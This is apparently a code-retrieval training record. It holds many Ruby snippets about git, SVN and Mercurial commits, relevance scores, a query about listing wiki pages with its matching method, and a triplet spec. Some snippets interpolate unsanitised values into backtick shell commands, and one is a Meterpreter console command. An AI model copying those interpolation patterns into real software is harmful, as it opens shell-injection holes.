"def find_commit_for_svn_rev(repo_path, svn_rev, base_branch)\n `(cd \"#{repo_path}\" && git rev-list #{base_branch} --grep=\"git-svn-id:.*@#{svn_rev}\")`.strip\n end",
"def cmd_rev2self(*args)\n client.sys.config.revert_to_self\n end",
"def last_commit(branch, filename)\n lc = @repo.log(branch, filename, {:n => 1})\n lc.empty? ? nil : lc.first\n end",
"def get(*args)\n arguments(args, required: [:user, :repo, :sha])\n\n get_request(\"/repos/#{arguments.user}/#{arguments.repo}/commits/#{arguments.sha}\", arguments.params)\n end",
"def commit(ref)\n Commit.new(self, git.gcommit(ref))\n end",
"def fallback_diff_refs\n real_refs = diff_refs\n return real_refs if real_refs\n\n likely_base_commit_sha = (first_commit&.parent || first_commit)&.sha\n\n Gitlab::Diff::DiffRefs.new(\n base_sha: likely_base_commit_sha,\n start_sha: safe_start_commit_sha,\n head_sha: head_commit_sha\n )\n end",
"def create(sha, name)\n Ref.new(@repo, sha, name).save\n end",
"def safe_rev_parse(*args)\n args.collect! {|arg| rev_parse(arg).at(0) rescue nil }\n end",
"def lookup_commit_details(msg)\n rev = msg[:message]\n commit = fetch_svn_commit(rev).first\n messagetext = \"#{commit[:author]} committed revision #{commit[:revision]} \" +\n \"#{time_ago_in_words(commit[:date])} ago:\\n\"\n\n messagetext += \"\\n#{commit[:message]}\\n\"\n messagetext += \"----\\n\"\n commit[:paths].each do |path|\n messagetext += path[:action] + \" \" + path[:path] + \"\\n\"\n end\n\n msg.paste(messagetext)\n\n messagetext = \"More detail can be found at \" + bot.config['svn_webui_url']\n msg.speak(messagetext)\n\n @log.info messagetext\n end",
"def find_common_commit(downstream_dir, upstream_dir, rev_list_down, rev_list_up)\n\n # start with first commit from downstream\n #rev_list_down.reverse.each do |ref|\n output_size={}\n # NOTE: always just check the last (oldest) commit from downstream.\n # you could iterate through them all, but it would change form O(n) to O(n2)\n # I was thinking it would be annoyingly slow, so I didn't even bother trying\n # rev_list_down.each do |ref|\n ref = rev_list_down.last\n # checkout the last commit from downstream\n checkout(downstream_dir, ref)\n # iterate throuug all upstream commits\n rev_list_up.each do |ref2|\n # checkout upstream code based on that commit\n checkout(upstream_dir, ref2)\n # run the recursive diff\n out = system_cmd(\"diff -r --exclude=.svn --exclude=.git #{upstream_dir} #{downstream_dir}\")\n #puts out\n # if return code is true (ie: they match!)\n if out[1]\n puts \"Upstream #{ref2} matches downstream #{ref}\"\n # return the references that match [downstream, upstream]\n return [ref, ref2]\n else\n output_size[out[0].size] ||= {}\n # if they don't match, save the references, and diff output\n output_size[out[0].size][\"#{ref}_#{ref2}\"] = out[0]\n end\n end\n #end\n smallest = output_size.keys.sort.first\n puts \"the least number of difference found is: #{smallest}\"\n puts \"we found #{output_size[smallest].size} one repos of this diff size\"\n puts \"The output from the first one of this size is:\\n#{output_size[smallest].values.first.join(\"\\n\")}\"\n refs=output_size[smallest].keys.first.split('_')\n puts \"For refs: #{refs}\"\n checkout(downstream_dir, refs[0])\n checkout(upstream_dir, refs[1])\n if output_size[smallest].size == 1\n # if there is only one smallest matching, show the user the diff and ask them if they want\n # to try to rebase anyways\n puts 'Do you want to proceed with rebasing this result?(Yes or No)'\n result = gets\n if result.chomp == 'Yes'\n return refs\n end\n end\n raise \"Could not find any common anscestor\"\nend",
"def last_commit_sha(branch = @base_branch)\n if branch\n commits(@repo, branch, page: 1, per_page: 1)[0]['sha']\n else\n raise ArgumentError, 'Branch must be specified'\n end\n end",
"def last_commit(js_name)\n sha1 = `git log --pretty=%H -1 #{js_name}` \nend",
"def github_url\n \"http://github.com/280north/cappuccino/commit/#{sha1}\"\n end",
"def ret_sha_relationship(local_sha, other_sha, branch_obj)\n adapter_repo = get_adapter_repo(branch_obj)\n adapter_repo.ret_sha_relationship(local_sha, other_sha)\n end",
"def github_url\n \"https://github.com/rails/rails/commit/#{sha1}\"\n end",
"def git_diff(branch = \"origin/#{current_default_branch}\")\n mysystem(\"git diff #{branch}\")\n end",
"def git_sha(length = 40)\n Pkg::Util.in_project_root do\n stdout, _, _ = Pkg::Util::Execution.capture3(\"#{GIT} rev-parse --short=#{length} HEAD\")\n stdout.strip\n end\n end",
"def head_commit_sha\n if persisted? && super.nil?\n last_commit_sha\n else\n super\n end\n end",
"def change_sha(node)\n node['delivery']['change']['sha']\n end",
"def fetch_svn_commit(rev)\n url_str = bot.config['svn_root_url']\n commit = []\n begin\n @log.info \"checking #{url_str} for new commit...\"\n\n # https://username:password@svn.host.com:8080/svn/path/in/repo/\n url = Addressable::URI.parse(url_str)\n\n @log.debug PP.singleline_pp(url.to_hash, '')\n xmldata = `svn log --xml -v -r #{rev} #{url.omit(:user, :password)}`\n doc = REXML::Document.new(xmldata)\n \n doc.elements.inject('log/logentry', commit) do |commit, element|\n commit.push({:url => url}.merge(parse_entry_info(element)))\n end\n @log.debug PP.singleline_pp(commit, '')\n\n rescue Exception => e\n @log.error \"error connecting to svn: #{e.message}\"\n end\n return commit\n end",
"def msg(message)\n FileUtils.cd(@git_dir_path)\n\t# via http://ozmm.org/posts/git_msg.html\n # --allow-empty means git won't require a changed file; it will just store a\n # commit message.\n `git commit --allow-empty -m \"#{message}\" &>/dev/null`\n # Use sed to extract SHA1 hash from most recent log message\n hash = `git log master~1..master | sed -n '/commit/s/commit //p'`.chomp\n # Push to Github\n `git push origin master &>/dev/null`\n return hash\n end",
"def commit_sha commit_message\n output_of \"git log --grep='#{commit_message}' --format='%h' -1\"\nend",
"def add sha:, message:, branch_name:, author:\n local_branch_name = local_branch_name branch_name\n @commits[local_branch_name] ||= {}\n if @commits[local_branch_name].key? sha\n # We already have this commit in a different location --> just append the location to the existing commit\n @commits[local_branch_name][sha]['LOCATION'] << branch_location(branch_name)\n else\n # We don't have this commit in another location --> create an entry for this commit\n @commits[local_branch_name][sha] = commit_data local_branch_name: local_branch_name,\n branch_name: branch_name,\n message: message,\n sha: sha,\n author: author\n end\n end",
"def line_uri\n branch.commit_uri.chomp(\"commit/$commit\")\n end",
"def last_commit\n\tresp = github_api(\"commits\")\n\tresp[0]\nend",
"def commit(project, sha)\n get(\"/projects/#{project}/repository/commits/#{sha}\")\n end",
"def commit(opts = {:use_dirstate => true, :update_dirstate => true})\n valid = false # don't update the DirState if this is set!\n \n commit = ((modified || []) + (added || [])).sort\n remove = removed\n xtra = extra.dup\n branchname = xtra[\"branch\"]\n text = description\n \n p1, p2 = parents.map {|p| p.node }\n c1 = repo.changelog.read(p1) # 1 parent's changeset as an array\n c2 = repo.changelog.read(p2) # 2nd parent's changeset as an array\n m1 = repo.manifest.read(c1[0]).dup # 1st parent's manifest\n m2 = repo.manifest.read(c2[0]) # 2nd parent's manifest\n \n if opts[:use_dirstate]\n oldname = c1[5][\"branch\"]\n tests = [ commit.empty?, remove.empty?, !opts[:force],\n p2 == NULL_ID, branchname == oldname ]\n if tests.all?\n UI::status \"nothing changed\"\n return nil\n end\n end\n \n xp1 = p1.hexlify\n xp2 = p2 == NULL_ID ? \"\" : p2.hexlify\n \n Hook.run_hook :pre_commit\n journal = Amp::Mercurial::Journal.new(:opener => repo.store_opener)\n \n fresh = {} # new = reserved haha i don't know why someone wrote \"haha\"\n changed = []\n link_rev = repo.size\n \n (commit + (remove || [])).each {|file| UI::status file }\n \n # foreach file in commit:\n # commit_file file\n # end\n commit.each do |file|\n versioned_file = self[file]\n fresh[file] = versioned_file.commit :manifests => [m1, m2],\n :link_revision => link_rev,\n :journal => journal ,\n :changed => changed\n \n new_flags = versioned_file.flags\n \n # TODO\n # Clean this shit up\n if [ changed.empty? || changed.last != file, \n m2[file] != fresh[file]\n ].all?\n changed << file if m1.flags[file] != new_flags\n end\n m1.flags[file] = new_flags\n \n repo.staging_area.normal file if opts[:use_dirstate]\n end\n \n # add_manifest_entry\n man_entry, updated, added = *add_manifest_entry(:manifests => [m1, m2],\n :changesets => [c1, c2],\n :journal => journal ,\n :link_rev => link_rev,\n :fresh => fresh ,\n :remove => remove ,\n :changed => changed )\n\n # get_commit_text\n text = get_commit_text text, :added => added, :updated => updated,\n :removed => removed, :user => user ,\n :empty_ok => opts[:empty_ok] ,\n :use_dirstate => opts[:use_dirstate]\n \n # atomically write to the changelog\n # add_changelog_entry\n # for the unenlightened, rents = 'rents = parents\n new_rents = add_changelog_entry :manifest_entry => man_entry,\n :files => (changed + removed),\n :text => text,\n :journal => journal,\n :parents => [p1, p2],\n :user => user,\n :date => date,\n :extra => xtra\n \n \n # Write the dirstate if it needs to be updated\n # basically just bring it up to speed\n if opts[:use_dirstate] || opts[:update_dirstate]\n repo.dirstate.parents = new_rents\n removed.each {|f| repo.dirstate.forget(f) } if opts[:use_dirstate]\n repo.staging_area.save\n end\n \n # The journal and dirstates are awesome. Leave them be.\n valid = true\n journal.close\n \n # if an error and we've gotten this far, then the journal is complete\n # and it deserves to stay (if an error is thrown and journal isn't nil,\n # the rescue will destroy it)\n journal = nil\n \n # Run any hooks\n Hook.run_hook :post_commit, :added => added, :modified => updated, :removed => removed, \n :user => user, :date => date, :text => text,\n :revision => repo.changelog.index_size\n return new_rents\n rescue StandardError => e\n if !valid\n repo.dirstate.invalidate!\n end\n if e.kind_of?(AbortError)\n UI::warn \"Abort: #{e}\"\n else\n UI::warn \"Got exception while committing. #{e}\"\n UI::warn e.backtrace.join(\"\\n\")\n end\n \n # the journal is a vestigial and incomplete file.\n # destroyzzzzzzzzzzz\n journal.delete if journal\n end",
"def update_commit_history\n raw_commits = `cd #{project_repo_path} && git fetch && git checkout #{self.trunk_branch} && git log --pretty='%H -::- %an -::- %s -::- %ai'`\n raw_commits.each do |raw_commit|\n # commit format\n # 0 => hash\n # 1 => author name\n # 2 => commit message\n # 3 => commit date\n commit = raw_commit.split(\"-::-\")\n commit.collect!(&:strip)\n # avoid issues with git log header and footer information \n if commit.count == 4\n author = GitAuthor.find_or_create_by_name(commit[1])\n # note that this breaks if two projects manage to get the same hash\n obj = GitCommit.find_by_commit_hash(commit[0])\n attributes = {\n :commit_hash => commit[0],\n :project => self, \n :git_author => author, \n :subject => commit[2], \n :commit_at => Time.parse(commit[3])\n }\n if obj.nil?\n GitCommit.create!(attributes)\n else\n # for now, assume you cannot update a commit\n # makes this run much faster\n # obj.attributes = attriubtes\n # obj.save!\n end\n end\n end\n end",
"def update!(**args)\n @author = args[:author] if args.key?(:author)\n @commit_message = args[:commit_message] if args.key?(:commit_message)\n @paths = args[:paths] if args.key?(:paths)\n end",
"def update!(**args)\n @author = args[:author] if args.key?(:author)\n @commit_message = args[:commit_message] if args.key?(:commit_message)\n @commit_sha = args[:commit_sha] if args.key?(:commit_sha)\n @commit_time = args[:commit_time] if args.key?(:commit_time)\n end",
"def rev_parse # :nodoc:\n # HACK no safe equivalent of ` exists on 1.8.7\n Dir.chdir repo_cache_dir do\n Gem::Util.popen(@git, 'rev-parse', @reference).strip\n end\n end",
"def ensure_commit(repo, sha, user, comments = true)\n ensure_repo(user, repo)\n c = retrieve_commit(repo, sha, user)\n\n if c.nil?\n warn \"Commit #{user}/#{repo} -> #{sha} does not exist\"\n return\n end\n\n stored = store_commit(c, repo, user)\n ensure_parents(c)\n if not c['commit']['comment_count'].nil? \\\n and c['commit']['comment_count'] > 0\n ensure_commit_comments(user, repo, sha) if comments\n end\n ensure_repo_commit(user, repo, sha)\n stored\n end",
"def diff\n deprecation_notice!\n downstream = @cisauraus.downstreams(app, 1).first\n verify_downstream! downstream\n\n print_and_flush \"Comparing #{app} to #{downstream}...\"\n\n diff = @cisauraus.diff(app)\n print_and_flush \"done, \"\n\n if diff.size > 0\n display \"#{app} ahead by #{diff.size} #{plural('commit', diff.size)}:\"\n diff.each do |commit|\n commit_detail = `git log -n 1 --pretty=format:\" %h %ad %s (%an)\" --date=short #{commit} 2>/dev/null`\n if $?.exitstatus == 0\n display commit_detail\n else\n display \" #{commit}\"\n end\n end\n else\n display \"everything is up to date\"\n end\n end",
"def getDiff(tag1, tag2, timestamps, unique)\n format = timestamps ? \"%ci %s\" : \"%s\"\n uniqpipe = unique ? \"| uniq \" + (timestamps ? \"-s 25\" : \"\") : \"\"\n return Hash[`git log --pretty=\"#{format}\" #{tag1}...#{tag2} #{uniqpipe}`\n .split(\"\\n\")\n .map { |msg|\n ticket = msg.match(/DATA-(\\d+)/)\n if ticket != nil\n if msg.match(/Merge (branch|pull request) .* (into|from)/) == nil\n # Not a merge commit, so include it\n submatch = msg.match(/\\[?(#{PREFIX}-\\d+)\\]?[\\-|_| ]?(.*)/)\n if submatch != nil\n if submatch.captures[1].length > 0\n [submatch.captures[0], submatch.captures[1]]\n end\n else\n [ticket[0], msg]\n end\n end\n end\n }\n .reject { |e| e == nil }\n .group_by(&:first)\n .map { |k, a|\n [k, a.map(&:last).uniq]\n }]\nend",
"def ref\n ref = @repository.refs.find { |refs_a| refs_a.include?(@sha) }\n ref ? ref.last : @sha\n end",
"def get_revision(rev = 'HEAD')\n unless @resource.value(:source)\n status = at_path { git_with_identity('status') }\n is_it_new = status =~ %r{Initial commit|No commits yet}\n if is_it_new\n status =~ %r{On branch (.*)}\n branch = Regexp.last_match(1)\n return branch\n end\n end\n current = at_path { git_with_identity('rev-parse', rev).strip }\n if @resource.value(:revision) == current\n # if already pointed at desired revision, it must be a SHA, so just return it\n return current\n end\n if @resource.value(:source)\n update_references\n end\n if @resource.value(:revision)\n canonical = if tag_revision?\n # git-rev-parse will give you the hash of the tag object itself rather\n # than the commit it points to by default. Using tag^0 will return the\n # actual commit.\n at_path { git_with_identity('rev-parse', \"#{@resource.value(:revision)}^0\").strip }\n elsif local_branch_revision?\n at_path { git_with_identity('rev-parse', @resource.value(:revision)).strip }\n elsif remote_branch_revision?\n at_path { git_with_identity('rev-parse', \"#{@resource.value(:remote)}/#{@resource.value(:revision)}\").strip }\n else\n # look for a sha (could match invalid shas)\n at_path { git_with_identity('rev-parse', '--revs-only', @resource.value(:revision)).strip }\n end\n raise(\"#{@resource.value(:revision)} is not a local or remote ref\") if canonical.nil? || canonical.empty?\n current = @resource.value(:revision) if current == canonical\n end\n current\n end",
"def rebased_commits\n rebased_ref = detached_head? ? 'HEAD' : rebased_branch\n @rebased_commits ||=\n `git rev-list --topo-order --reverse #{upstream_branch}..#{rebased_ref}`.\n split(\"\\n\")\n end",
"def make_commit_log\n\t\t\tdiff = read_command_output( 'hg', 'diff' )\n\t\t\tfail \"No differences.\" if diff.empty?\n\n\t\t\treturn diff\n\t\tend",
"def commit\n\t$VP.join('.git/refs/heads/master').read[0..8] rescue nil\nend",
"def commit(author, message)\n GIT.add relative_path\n GIT.commit message, :author => \"#{ author.name } <#{ author.email }>\"\n end",
"def normalize_commit(commit = {})\n commit[:name] = default_committer_name if commit[:name].to_s.empty?\n commit[:email] = default_committer_email if commit[:email].to_s.empty?\n commit\n end",
"def diff(from, to=nil)\n scm :diff, repository, authentication, \"-r#{from}:#{to || head}\"\n end",
"def diff_from_parent(options = {})\n @repository.gitaly_commit_client.diff_from_parent(self, options)\n end",
"def commit\n @commit ||= @repo.commit(@repo.head.commit)\n end"
] |
[
"0.57779396",
"0.5316683",
"0.5121301",
"0.50785434",
"0.49839997",
"0.4963344",
"0.487554",
"0.4851896",
"0.47758168",
"0.47130656",
"0.4608745",
"0.45920587",
"0.45713952",
"0.45704415",
"0.4569507",
"0.45613486",
"0.45506358",
"0.4548345",
"0.45470542",
"0.45004967",
"0.44959337",
"0.44469744",
"0.44246125",
"0.44182074",
"0.44018745",
"0.43796867",
"0.43762144",
"0.43701965",
"0.43628162",
"0.43587768",
"0.43320027",
"0.4325465",
"0.43140703",
"0.43025103",
"0.43017152",
"0.42731863",
"0.42705917",
"0.42482913",
"0.423498",
"0.42309317",
"0.42215398",
"0.42193052",
"0.42155087",
"0.42062107",
"0.41999486",
"0.41985655",
"0.41951197",
"0.41758174",
"0.4174094",
"0.41674465",
"0.4166347",
"0.4162219",
"0.41568622",
"0.415654",
"0.41523373",
"0.4146884",
"0.41329634",
"0.41283557",
"0.41255003",
"0.41089872",
"0.41066653",
"0.4102716",
"0.40907907",
"0.4086442",
"0.4080987",
"0.40806046",
"0.4073838",
"0.40701866",
"0.40571406",
"0.4054084",
"0.40496925",
"0.40438947",
"0.40298587",
"0.40257436",
"0.40212247",
"0.4012514",
"0.40098867",
"0.40091145",
"0.40065435",
"0.40048936",
"0.40026852",
"0.40023866",
"0.39974472",
"0.3992065",
"0.3982012",
"0.39760843",
"0.39647567",
"0.39631394",
"0.396157",
"0.39581192",
"0.39497113",
"0.3943177",
"0.3938596",
"0.39318687",
"0.39282918",
"0.39265037",
"0.3920454",
"0.39173573",
"0.391354",
"0.39094836"
] |
0.62574506
|
0
|
Public: Lists all pages for this wiki.
|
def pages(treeish = nil)
tree_list(treeish || @ref, true, false)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @pages = Page.all\n end",
"def index\n @cms_pages = Cms::Page.all\n end",
"def list_pages(limit: 0, sort: nil, direction: DIRECTION_ASC, load_content: false)\n wiki.list_pages(\n limit: limit,\n sort: sort,\n direction_desc: direction == DIRECTION_DESC,\n load_content: load_content\n ).map do |page|\n WikiPage.new(self, page)\n end\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def index\n @title = \"All pages\"\n @pages = Page.all\n end",
"def index\n\t\t@pages = Page.order('created_at DESC').all\n\n\t\trespond_to do |format|\n\t\t\tformat.html #index.html.erb\n\t\t\tformat.json { render json: @pages }\n\t\tend\n\tend",
"def pages\n @pages ||= get_pages\n end",
"def pages(treeish = nil)\n tree_list(treeish || 'master')\n end",
"def index\n @cms_pages = CmsPage.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n end",
"def pages\n @pages ||= Transit::Page.roots.order('name ASC').all\n end",
"def wiki_pages(project, on_page = nil)\n opts = {}\n opts[:page] = on_page if on_page\n fetch_all(\"projects/#{project}/features/wiki/pages\", 'pages', opts)\n end",
"def pages\n @pages ||= []\n end",
"def list_pages(pages)\n pages.inject(''.html_safe) do |html, page|\n html << render(\n partial: page_partial(page),\n locals: {\n page: page,\n children: sitemap_children_for(page),\n }\n )\n end\n end",
"def index\n #Page.all is fine for small sets of data, for larger sets pagination would be best\n @pages = data_cache('pages', 10.minutes) do\n Page.all\n end\n respond_to do |format|\n format.json { render action: 'index', status: :ok, location: api_pages_url(@pages) }\n format.xml { render xml: @pages, location: api_pages_url(@pages) }\n end\n end",
"def public_pages\n\n pages = {}\n\n # Add page contents\n ContentManagerSystem::Content.all(:type => {:id => 'page'}).map do |content| \n pages.store(content.title, content.alias)\n end \n\n # Add views\n ContentManagerSystem::View.all(:block => false).map do |view|\n pages.store(view.title, view.url)\n end\n\n return pages\n\n end",
"def list\n response = connect(base_url, :get)\n pagination_links(response)\n self.current_page = JSON.load(response.body)\n end",
"def pages\n @pages\n end",
"def display_page_list store, pages = store.cache[:pages], search = nil\n out = RDoc::Markup::Document.new\n\n title = if search then\n \"#{search} pages\"\n else\n 'Pages'\n end\n\n out << RDoc::Markup::Heading.new(1, \"#{title} in #{store.friendly_path}\")\n out << RDoc::Markup::BlankLine.new\n\n list = RDoc::Markup::List.new(:BULLET)\n\n pages.each do |page|\n list << RDoc::Markup::Paragraph.new(page)\n end\n\n out << list\n\n display out\n end",
"def public_pages\n list = []\n self.div(:id=>\"lhnavigation_public_pages\").links.each do |link|\n list << link.text\n end\n return list\n end",
"def index\n @page_pages = PagePage.all\n end",
"def index\n @root_pages = Page.root_pages\n @uncategorized_pages = Page.uncategorized\n end",
"def index\n @admin_pages = Admin::Page.all\n end",
"def pages\n return @pages\n end",
"def index\n @pages = Page.all\n\n respond_with @pages\n end",
"def index\n @pages = current_cms.pages.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def pages\n @chapters.current.pages\n end",
"def list_wiki_pages\n results = WikiPage.joins(wiki: :project)\n .where(\"CONCAT_WS(':', `projects`.`name`, `wiki_pages`.`title`) LIKE ? \", \"%#{params[:term]}%\")\n .select('projects.name, wiki_pages.title')\n .limit(10)\n\n render :json => results.map { |x| \"#{x.name}:#{x.title}\" }\n end",
"def pages\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def index\n @pages = Page.all\n respond_with(@pages)\n end",
"def pages; end",
"def index\n @cms_pages = current_portal.pages\n end",
"def get_pages\n @pages << base_gallery_url\n (@doc/\"a\").select{|a| a[\"href\"] =~ /ndxpage/}.each do |e|\n @pages << base_gallery_url_prefix + e[\"href\"]\n end\n puts \"got pages!\"\n puts @pages.inspect\n puts \"---\"\n end",
"def index\n return check_logged_in unless current_user\n @pages = current_user.pages\n end",
"def index\n @pages = Page.all\n \n respond_to do |format|\n format.json { render :json => @pages }\n format.xml { render :xml => @pages }\n end\n end",
"def index\n#\t\t@pages = Page.find(:all)\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml\t{ render :xml => @pages }\n\t\tend\n\tend",
"def index\n @doc_pu_wikis = @doc_pu.doc_pu_wiki_pages\n end",
"def index\n @wikipages = Wikipage.all\n end",
"def index\n @wikipages = Wikipage.all\n end",
"def get_pages(options = nil)\n @client.raw('get', '/content/pages', options)\n end",
"def index\n @admin_pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"def index\n @pages = Static.all\n end",
"def index\n @content_title = 'Discussion Topics'\n @secondary_title = 'All discussion topics'\n @pages, @wiki_pages = paginate :pages, :order => 'title ASC',\n :conditions => [ 'allow_discussions = ?', true ], :per_page => per_page,\n :include => [ 'discussions' ]\n respond_to do |format|\n format.html\n end\n end",
"def extract_pages_list\n if @page\n if @page.wikitopdf_toc_page && @page.wikitopdf_toc_page.istoc\n [ url_by_page(@page) ] + pages_from_toc(@page)\n else\n [ url_by_page(@page) ] + pdf_page_hierarchy(@page.id)\n end\n else\n pdf_page_hierarchy(nil)\n end\n end",
"def index\n @wiki_posts = WikiPost.all\n end",
"def index\n @pages = apply_scopes(Page.includes(:versions)).by_title.page params[:page]\n authorize @pages\n end",
"def index\n\t\t@section = 'pages'\n\t\t@key = params[:key]\n\t\tif params[:id] and params[:id].to_i > 0\n\t\t\t@page = Page.find(params[:id], :include=>[:children, :path])\n\t\t\t@pages = @page.children\n\t\t\t@key = nil\n\t\t\t@page_title = \"Site Index: #{@page.title}\"\n\t\telsif !(@key.blank?)\n\t\t\t@page = nil\n\t\t\t@pages = Page.find(:all,\n\t\t\t\t:conditions=>Page.search_conditions({:key=>@key, :u=>current_user}),\n\t\t\t\t:order=>Page.default_order, :include=>Page.default_include)\n\t\t\t@page_title = \"Site Index: ‘#{params[:key]}’\"\n\t\telse\n\t\t\t# find all top-level pages\n\t\t\t@page = nil\n\t\t\t@pages = Page.find_homes\n\t\t\t#if @page\n\t\t\t#\tconditions = ['(pages.parent_id IS NULL OR pages.parent_id = ?) AND pages.id != ?',\n\t\t\t#\t\t@page.id, @page.id]\n\t\t\t#else\n\t\t\t#\tconditions = ['pages.parent_id IS NULL']\n\t\t\t#end\n\t\t\t#@pages = Page.find(:all,\n\t\t\t#\t:conditions=>conditions,\n\t\t\t#\t:order=>'pages.title',\n\t\t\t#\t:include=>:children)\n\t\t\t@page_title = \"Site Index\"\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.js { render :action=>'index_sublist', :layout=>false }\n\t\t\tformat.xml { render :xml => @pages.to_xml }\n\t\tend\n\tend",
"def pages\n @pages.values\n end",
"def index\n @root_pages = [fetch_root_page].flatten\n end",
"def index\n respond_with(pages)\n end",
"def get_all_pages\n list_of_pages = Array.new\n list_of_pages[0] = @current_page\n pos = 1\n while @agent.page.links.find { |l| l.text == \"Next →\" } == nil ? false : true\n list_of_pages[pos] = @agent.page.links.find { |l| l.text == \"Next →\" }.click\n pos += 1\n end\n list_of_pages\n end",
"def pages\n @pages\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def pages\n @pages \n end",
"def pages\n @pages ||= source.map {|path| Page.new(self, path) }\n end",
"def index\n @pages_homes = Pages::Home.all\n end",
"def index\n if @current_website.present?\n @pages = @current_website.pages\n else\n @pages = Page.all\n end\n render layout: \"themes/basic/layout\"\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = Page.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = Page.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def show\n @pages = Page.all\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.json { render json: @pages }\n format.xml { render xml: @pages }\n end\n end",
"def index\n @pages = current_site.pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @page_hierarchies = PageHierarchy.all\n end",
"def index\n @pageinfos = Pageinfo.all\n end",
"def index\n @wikis = Wiki.all\n end",
"def index\n @wikis = Wiki.order('created_at DESC').paginate(:page => params[:page])\n end",
"def show\n @wiki_pages = @wiki.wiki_pages.paginate(:page => params[:page]).order(\"title\") #.select(\"id, title, url_title, updated_at\")\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @wiki }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n @pages = Page.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @page }\n end\n end",
"def index\n @welcome_pages = WelcomePage.all\n end",
"def index\n @cms_page_sections = Cms::PageSection.all\n end",
"def index\n @pages = Page.paginate(\n :select => 'id, name, protected', \n :page => params[:page], \n :order => sort_calc('name', {:table => 'pages'})\n )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = Page.page params[:page]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pages }\n end\n end",
"def index\n respond_with(@pages = Page.all.paginate(:page => params[:page] || 1, :per_page => params[:per_page] || 5))\n end",
"def pages\n [self] + (has_next_page? ? next_page.pages : [])\n end",
"def index\n @homepages = Homepage.all\n end",
"def find_all\n Dir[\"#{pages_dir}**/*.yml\"].map {|f| new f }\n end",
"def index\n @pages = @user.pages\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = Page.order(\"name ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def index\n @pages = @offering.pages.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def all\n Dir.chdir(content_dir) do\n files = Dir.glob(File.join(\"**\", \"*#{SOURCE_FILE_EXT}\")).delete_if {|p| p =~ Regexp.new(\"\\\\.[0-9]+\\\\#{SOURCE_FILE_EXT}$\")}\n files.collect {|f| Page.new(uri_from_path(f), File.open(f, 'r') {|b| b.read})}\n end\n end",
"def pages\n get(\"v1/event/#{@id}/pages\")\n end"
] |
[
"0.72419924",
"0.70491976",
"0.69897693",
"0.6974195",
"0.6930149",
"0.6888629",
"0.683244",
"0.678126",
"0.67740715",
"0.67456007",
"0.67456007",
"0.67456007",
"0.67456007",
"0.67456007",
"0.67456007",
"0.67456007",
"0.67456007",
"0.67456007",
"0.67456007",
"0.6742874",
"0.6726719",
"0.6718491",
"0.67107326",
"0.67049307",
"0.67009544",
"0.6663574",
"0.6607539",
"0.65659136",
"0.6564295",
"0.6555582",
"0.65176094",
"0.6501845",
"0.6486623",
"0.6485861",
"0.64794517",
"0.6464968",
"0.64615893",
"0.64451134",
"0.64440006",
"0.64440006",
"0.6424738",
"0.6421711",
"0.6408357",
"0.64055145",
"0.6392021",
"0.6384931",
"0.6340433",
"0.63355404",
"0.63355404",
"0.6319308",
"0.63111985",
"0.62923306",
"0.6264461",
"0.62350583",
"0.62243414",
"0.62146676",
"0.6195487",
"0.6192537",
"0.6190872",
"0.6181563",
"0.6181345",
"0.6154194",
"0.61482584",
"0.61482584",
"0.61455274",
"0.6141565",
"0.6135998",
"0.6134923",
"0.613338",
"0.61329085",
"0.61329085",
"0.6113715",
"0.611304",
"0.61087275",
"0.6104475",
"0.6085261",
"0.6081505",
"0.6075303",
"0.60685164",
"0.6064061",
"0.6064061",
"0.6064061",
"0.6064061",
"0.6064061",
"0.6064061",
"0.6064061",
"0.60586715",
"0.6053345",
